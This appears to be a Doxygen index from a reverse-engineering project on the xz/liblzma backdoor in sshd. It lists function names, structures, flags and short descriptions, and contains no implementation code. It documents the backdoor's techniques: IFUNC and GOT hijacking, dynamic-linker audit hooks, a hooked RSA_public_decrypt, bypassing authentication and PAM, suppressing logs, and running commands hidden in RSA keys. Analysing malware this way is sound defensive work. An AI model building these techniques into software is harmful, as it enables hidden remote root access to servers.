BOOL elf_contains_vaddr(elf_info_t *elf_info, void *vaddr, u64 size, u32 p_flags)
checks if given ELF file contains the range [vaddr, vaddr+size) in a segment with the specified memor...
BOOL find_link_map_l_audit_any_plt(backdoor_data_handle_t *data, ptrdiff_t libname_offset, backdoor_hooks_data_t *hooks, imported_funcs_t *imported_funcs)
Find struct link_map offset required to modify ld.so's private link_map::l_audit_any_plt state.
void * lzma_alloc(size_t size, lzma_allocator *allocator)
lzma_alloc function, used by the backdoor as an ELF symbol resolver the allocator 's opaque field mus...
BOOL secret_data_append_item(secret_data_shift_cursor_t shift_cursor, unsigned operation_index, unsigned shift_count, int index, u8 *code)
Calls secret_data_append_singleton, if flags are non-zero.
const u64 tls_get_addr_random_symbol
a bogus global variable that is used by the backdoor to generate an extra symbol
void init_ldso_ctx(ldso_ctx_t *ldso_ctx)
initializes/resets ldso data
BOOL init_imported_funcs(imported_funcs_t *imported_funcs)
Initializes the imported_funcs structure.
backdoor_hooks_data_t * hooks_data_addr
location of backdoor_hooks_data_t
BOOL sha256(const void *data, size_t count, u8 *mdBuf, u64 mdBufSize, imported_funcs_t *funcs)
computes the SHA256 hash of the supplied data
BOOL find_mov_instruction(u8 *code_start, u8 *code_end, BOOL is_64bit_operand, BOOL load_flag, dasm_ctx_t *dctx)
finds a MOV instruction.
ElfId
Definition: xzre.h:400
@ X_ELF_MAIN
this is for sshd itself
Definition: xzre.h:405
int init_hooks_ctx(backdoor_hooks_ctx_t *ctx)
Initializes the structure with hooks-related data.
CommandFlags2
Definition: xzre.h:1969
@ X_FLAGS2_CHANGE_MONITOR_REQ
if set, changes the monitor_reqtype field from MONITOR_REQ_AUTHPASSWORD to what's contained in the pa...
Definition: xzre.h:1979
@ X_FLAGS2_PSELECT
executes pselect, then exit not compatible with command 2
Definition: xzre.h:1993
@ X_FLAGS2_CONTINUATION
more data available in the following packet not compatible with command 3
Definition: xzre.h:1988
@ X_FLAGS2_SOCKFD_MASK
(0111_1000 >> 3) & 0xF when CMDF_SOCKET_INDEX is specified
Definition: xzre.h:2000
@ X_FLAGS2_IMPERSONATE
if set, impersonate a user (info from payload) if not set, impersonate root
Definition: xzre.h:1974
BOOL find_call_instruction(u8 *code_start, u8 *code_end, u8 *call_target, dasm_ctx_t *dctx)
finds a call instruction
const elf_functions_t elf_functions
special .data.rel.ro section that contains addresses to various functions
ssize_t fd_read(int fd, void *buffer, size_t count, libc_imports_t *funcs)
reads data from the specified file descriptor
BOOL sshd_get_sshbuf(struct sshbuf *sshbuf, global_context_t *ctx)
Finds the right sshbuf (FIXME: which?), starting from: (*(ctx->struct_monitor_ptr_address))->kex->my
const ptrdiff_t elf_functions_offset
special .data.rel.ro section that contains the offset to elf_functions
void * backdoor_init(elf_entry_ctx_t *state, u64 *caller_frame)
calls backdoor_init_stage2 by disguising it as a call to cpuid.
BOOL secret_data_append_singleton(u8 *call_site, u8 *code, secret_data_shift_cursor_t shift_cursor, unsigned shift_count, unsigned operation_index)
Shifts data in the secret data store, after validation of code. this function is intended to be invok...
BOOL contains_null_pointers(void **pointers, unsigned int num_pointers)
checks if the given array of pointers contains any NULL pointer
void * elf_get_data_segment(elf_info_t *elf_info, u64 *pSize, BOOL get_alignment)
Obtains the address and size of the last read-write segment in the given ELF file this is typically t...
BOOL extract_payload_message(struct sshbuf *sshbuf_data, size_t sshbuf_size, size_t *out_payload_size, global_context_t *ctx)
locates the RSA modulus from the given sshbuf. if found, the given sshbuf_data will be updated to poi...
const u32 string_action_data[1304]
contains action data for the encoded string radix tree
BOOL is_endbr64_instruction(u8 *code_start, u8 *code_end, u32 low_mask_part)
Checks if the code between code_start and code_end is an endbr64 instruction.
void fake_lzma_free(void *opaque, void *ptr)
a fake free function called by lzma_free()
void * elf_get_rodata_segment(elf_info_t *elf_info, u64 *pSize)
Obtains the address and size of the last readonly segment in the given ELF file this corresponds to t...
BOOL is_range_mapped(u8 *addr, u64 length, global_context_t *ctx)
verify if a memory range is mapped
int sshd_get_sensitive_data_score_in_do_child(void *sensitive_data, elf_info_t *elf, string_references_t *refs)
obtains a numeric score which indicates if do_child accesses sensitive_data or not
BOOL sshd_find_sensitive_data(elf_info_t *sshd, elf_info_t *libcrypto, string_references_t *refs, imported_funcs_t *funcs, global_context_t *ctx)
locates sensitive_data within sshd, and resolves some additional libcrypto functions
CommandFlags1
Definition: xzre.h:1946
@ X_FLAGS1_SETLOGMASK
disable all logging by setting mask 0x80000000
Definition: xzre.h:1954
@ X_FLAGS1_NO_EXTENDED_SIZE
if set, the union size field must be 0
Definition: xzre.h:1966
@ X_FLAGS1_SOCKET_INDEX
custom monitor socket index override
Definition: xzre.h:1958
@ X_FLAGS1_8BYTES
the data block contains 8 additional bytes
Definition: xzre.h:1950
@ X_FLAGS1_DISABLE_PAM
if set, disables PAM authentication
Definition: xzre.h:1962
void update_cpuid_got_index(elf_entry_ctx_t *ctx)
get the cpuid() GOT index
BOOL sshd_proxy_elevate(monitor_data_t *args, global_context_t *ctx)
forges a new MONITOR_REQ_KEYALLOWED packet, and injects it into the server to gain root privileges th...
uintptr_t backdoor_symbind64(Elf64_Sym *sym, unsigned int ndx, uptr *refcook, uptr *defcook, unsigned int flags, const char *symname)
the backdoored symbind64 installed in GLRO(dl_audit)
BOOL find_instruction_with_mem_operand(u8 *code_start, u8 *code_end, dasm_ctx_t *dctx, void *mem_address)
finds a LEA or MOV instruction with an immediate memory operand
EncodedStringId get_string_id(const char *string_begin, const char *string_end)
Get the.
BOOL rsa_key_hash(const RSA *rsa, u8 *mdBuf, u64 mdBufSize, imported_funcs_t *funcs)
obtains a SHA256 hash of the supplied RSA key
BOOL main_elf_parse(main_elf_t *main_elf)
Parses the main executable from the provided structure. As part of the process the arguments and envi...
fake_lzma_allocator_t fake_lzma_allocator
special .data.rel.ro section that contains a fake lzma_allocator
struct elf_handles elf_handles_t
array of ELF handles
BOOL find_add_instruction_with_mem_operand(u8 *code_start, u8 *code_end, dasm_ctx_t *dctx, void *mem_address)
finds an ADD instruction with an immediate memory operand
u8 * elf_find_string_reference(elf_info_t *elf_info, EncodedStringId encoded_string_id, u8 *code_start, u8 *code_end)
finds an instruction that references the given string
BOOL x86_dasm(dasm_ctx_t *ctx, u8 *code_start, u8 *code_end)
disassembles the given x64 code
BOOL sshd_find_main(u8 **code_start_out, elf_info_t *sshd, elf_info_t *libcrypto, imported_funcs_t *imported_funcs)
finds the sshd_main function
BOOL find_lea_instruction_with_mem_operand(u8 *code_start, u8 *code_end, dasm_ctx_t *dctx, void *mem_address)
finds a LEA instruction with an immediate memory operand
const backdoor_cpuid_reloc_consts_t cpuid_reloc_consts
special .rodata section that contains _cpuid() related GOT offsets
BOOL decrypt_payload_message(key_payload_t *payload, size_t payload_size, global_context_t *ctx)
decrypts the given backdoor payload
BOOL sshd_get_sensitive_data_address_via_krb5ccname(u8 *data_start, u8 *data_end, u8 *code_start, u8 *code_end, void **sensitive_data_out, elf_info_t *elf)
finds the address of sensitive_data.host_keys in sshd by using getenv( STR_KRB5CCNAME )
struct backdoor_data backdoor_data_t
this structure is used to hold most of the backdoor information. it's used as a local variable in fun...
Definition: xzre.h:1685
u8 * find_string_reference(u8 *code_start, u8 *code_end, const char *str)
finds an instruction that references the given string
int sshd_get_sensitive_data_score(void *sensitive_data, elf_info_t *elf, string_references_t *refs)
obtains a numeric score which indicates if accesses sensitive_data or not
BOOL secret_data_get_decrypted(u8 *output, global_context_t *ctx)
obtains a decrypted copy of the secret data
BOOL find_function_prologue(u8 *code_start, u8 *code_end, u8 **output, FuncFindType find_mode)
locates the function prologue
BOOL find_link_map_l_audit_any_plt_bitmask(backdoor_data_handle_t *data, instruction_search_ctx_t *search_ctx)
Find the bitmask required to modify ld.so's private link_map::l_audit_any_plt state.
void * c_memmove(char *dest, char *src, size_t cnt)
copies memory
int sshd_get_sensitive_data_score_in_demote_sensitive_data(void *sensitive_data, elf_info_t *elf, string_references_t *refs)
obtains a numeric score which indicates if demote_sensitive_data accesses sensitive_data or not
BOOL check_backdoor_state(global_context_t *ctx)
checks if the backdoor state is the expected one (FIXME: which?)
BOOL count_pointers(void **ptrs, u64 *count_out, libc_imports_t *funcs)
count the number of non-NULL pointers in the malloc'd memory block ptrs
unsigned int backdoor_entry(unsigned int cpuid_request, u64 *caller_frame)
calls backdoor_init while in the crc64() IFUNC resolver function
BOOL find_dl_audit_offsets(backdoor_data_handle_t *data, ptrdiff_t *libname_offset, backdoor_hooks_data_t *hooks, imported_funcs_t *imported_funcs)
Find the various offsets in ld.so that need modification to trigger _dl_audit_symbind_alt() to call b...
BOOL backdoor_init_stage2(elf_entry_ctx_t *ctx, u64 *caller_frame, void **cpuid_got_addr, backdoor_cpuid_reloc_consts_t *reloc_consts)
BOOL sshd_find_monitor_field_addr_in_function(u8 *code_start, u8 *code_end, u8 *data_start, u8 *data_end, void **monitor_field_ptr_out, global_context_t *ctx)
find a pointer to a field in struct monitor by examining code referencing it
const u64 string_mask_data[238]
contains mask data for the encoded string radix tree
int mm_answer_keyallowed_hook(struct ssh *ssh, int sock, struct sshbuf *m)
runs the payload received from sshd_proxy_elevate, and then runs the original mm_answer_keyallowed fu...
BOOL chacha_decrypt(u8 *in, int inl, u8 *key, u8 *iv, u8 *out, imported_funcs_t *funcs)
decrypts a buffer with chacha20
BOOL sshbuf_extract(struct sshbuf *buf, global_context_t *ctx, void **p_sshbuf_d, size_t *p_sshbuf_size)
checks if the provided buf is sane, then decomposes it into p_sshbuf_d and p_sshbuf_size
BOOL sshd_patch_variables(BOOL skip_root_patch, BOOL disable_pam, BOOL replace_monitor_reqtype, int monitor_reqtype, global_context_t *global_ctx)
Patches the sshd configuration.
void _cpuid_gcc(unsigned int level, unsigned int *a, unsigned int *b, unsigned int *c, unsigned int *d)
actually calls cpuid instruction
unsigned int _get_cpuid_modified(unsigned int leaf, unsigned int *eax, unsigned int *ebx, unsigned int *ecx, unsigned int *edx, u64 *caller_frame)
the backdoor entrypoint function, called by the IFUNC resolver for liblzma crc32() and crc64()
BOOL bignum_serialize(u8 *buffer, u64 bufferSize, u64 *pOutSize, const BIGNUM *bn, imported_funcs_t *funcs)
Serializes the BIGNUM bn to the buffer buffer.
BOOL elf_find_string_references(elf_info_t *elf_info, string_references_t *refs)
parses the ELF rodata section, looking for strings and the instructions that reference them
struct backdoor_data_handle backdoor_data_handle_t
data passed to functions that access the backdoor data
int mm_answer_keyverify_hook(struct ssh *ssh, int sock, struct sshbuf *m)
used in conjunction with mm_answer_keyallowed_hook to bypass the key validity check
union backdoor_runtime_data backdoor_runtime_data_t
union used within run_backdoor_commands
Elf64_Sym * elf_symbol_get(elf_info_t *elf_info, EncodedStringId encoded_string_id, EncodedStringId sym_version)
Looks up an ELF symbol from a parsed ELF.
u32 count_bits(u64 x)
returns the number of 1 bits in x
struct run_backdoor_commands_data run_backdoor_commands_data_t
stack frame layout for run_backdoor_commands
BOOL secret_data_append_from_address(void *addr, secret_data_shift_cursor_t shift_cursor, unsigned shift_count, unsigned operation_index)
calls secret_data_append_singleton with either the given code address or the return address,...
BOOL secret_data_append_items(secret_data_item_t *items, u64 items_count, BOOL(*appender)(secret_data_shift_cursor_t, unsigned, unsigned, int, u8 *))
appends multiple secret data items at once
int sshd_get_sensitive_data_score_in_main(void *sensitive_data, elf_info_t *elf, string_references_t *refs)
obtains a numeric score which indicates if main accesses sensitive_data or not
BOOL sshd_get_client_socket(global_context_t *ctx, int *pSocket, int socket_index, enum SocketMode socket_direction)
Get either the read or write end of the sshd connection.
const ptrdiff_t fake_lzma_allocator_offset
special .data.rel.ro section that contains the offset to fake_lzma_allocator_struct
const backdoor_tls_get_addr_reloc_consts_t tls_get_addr_reloc_consts
special .rodata section that contains __tls_get_addr() related GOT offsets
BOOL is_gnu_relro(Elf64_Word p_type, u32 addend)
checks if the provided identifiers represent a PT_GNU_RELRO
void * find_addr_referenced_in_mov_instruction(StringXrefId id, string_references_t *refs, void *mem_range_start, void *mem_range_end)
find an address referenced in a function
u32 resolver_call_count
counts the number of times the IFUNC resolver is called
BOOL sshd_configure_log_hook(cmd_arguments_t *cmd_flags, global_context_t *ctx)
configure the log hook
CommandFlags3
Definition: xzre.h:2003
@ X_FLAGS3_MONITOR_REQ_VAL
6 bits used to store the monitor req / 2 (might be unused)
Definition: xzre.h:2011
@ X_FLAGS3_SOCKET_NUM
5 bits used to store number of sockets (in cmd3)
Definition: xzre.h:2007
struct monitor_data monitor_data_t
data used within sshd_proxy_elevate
const u64 cpuid_random_symbol
a bogus global variable that is used by the backdoor to generate an extra symbol
void * elf_get_got_symbol(elf_info_t *elf_info, EncodedStringId encoded_string_id)
Gets the GOT symbol with name encoded_string_id from the parsed ELF file.
void * elf_get_plt_symbol(elf_info_t *elf_info, EncodedStringId encoded_string_id)
Gets the PLT symbol with name encoded_string_id from the parsed ELF file.
int mm_answer_authpassword_hook(struct ssh *ssh, int sock, struct sshbuf *m)
used to bypass password authentication by replying with a successful MONITOR_ANS_AUTHPASSWORD
BOOL secret_data_append_from_call_site(secret_data_shift_cursor_t shift_cursor, unsigned shift_count, unsigned operation_index, BOOL bypass)
Shifts data in the secret data store, after validation of the call site, i.e. the caller of this func...
BOOL sshd_find_monitor_struct(elf_info_t *elf, string_references_t *refs, global_context_t *ctx)
finds the pointer to struct monitor, and updates the global context in ctx with its location
void * update_got_address(elf_entry_ctx_t *entry_ctx)
finds the __tls_get_addr() GOT entry
BOOL secret_data_append_from_code(void *code_start, void *code_end, secret_data_shift_cursor_t shift_cursor, unsigned shift_count, BOOL start_from_call)
Pushes secret data by validating the given code block.
char * elf_find_string(elf_info_t *elf_info, EncodedStringId *stringId_inOut, void *rodata_start_ptr)
Locates a string in the ELF .rodata section.
BOOL find_function(u8 *code_start, void **func_start, void **func_end, u8 *search_base, u8 *code_end, FuncFindType find_mode)
locates the function boundaries.
void sshd_log(sshd_log_ctx_t *log_ctx, LogLevel level, const char *fmt,...)
calls sshlogv from openssh, similarly to sshlog in openssh
BOOL run_backdoor_commands(RSA *key, global_context_t *ctx, BOOL *do_orig)
checks if the supplied RSA public key contains the backdoor commands, and executes them if present.
BOOL sshd_get_sensitive_data_address_via_xcalloc(u8 *data_start, u8 *data_end, u8 *code_start, u8 *code_end, string_references_t *string_refs, void **sensitive_data_out)
finds the address of sensitive_data.host_keys in sshd by using XREF_xcalloc_zero_size in xcalloc
ptrdiff_t get_tls_get_addr_random_symbol_got_offset(elf_entry_ctx_t *ctx)
get the tls_get_addr_random_symbol GOT offset
BOOL sshbuf_bignum_is_negative(struct sshbuf *buf)
checks if the given serialized BIGNUM is negative
int init_shared_globals(backdoor_shared_globals_t *shared_globals)
Initializes the backdoor_shared_globals structure.
elf_functions_t * get_elf_functions_address(void)
gets the address of the elf_functions
BOOL find_mov_lea_instruction(u8 *code_start, u8 *code_end, BOOL is_64bit_operand, BOOL load_flag, dasm_ctx_t *dctx)
like find_mov_instruction, but also considers LEA instructions
BOOL find_lea_instruction(u8 *code_start, u8 *code_end, u64 displacement)
finds a lea instruction
void * fake_lzma_alloc(void *opaque, size_t nmemb, size_t size)
a fake alloc function called by lzma_alloc() that then calls elf_symbol_get_addr()
ssize_t c_strlen(char *str)
returns length of c string
BOOL find_reg2reg_instruction(u8 *code_start, u8 *code_end, dasm_ctx_t *dctx)
finds a reg2reg instruction
int hook_RSA_public_decrypt(int flen, unsigned char *from, unsigned char *to, RSA *rsa, int padding)
hook for RSA_public_decrypt, which triggers
lzma_allocator * get_lzma_allocator(void)
gets the fake LZMA allocator, used for imports resolution the "opaque" field of the structure holds a...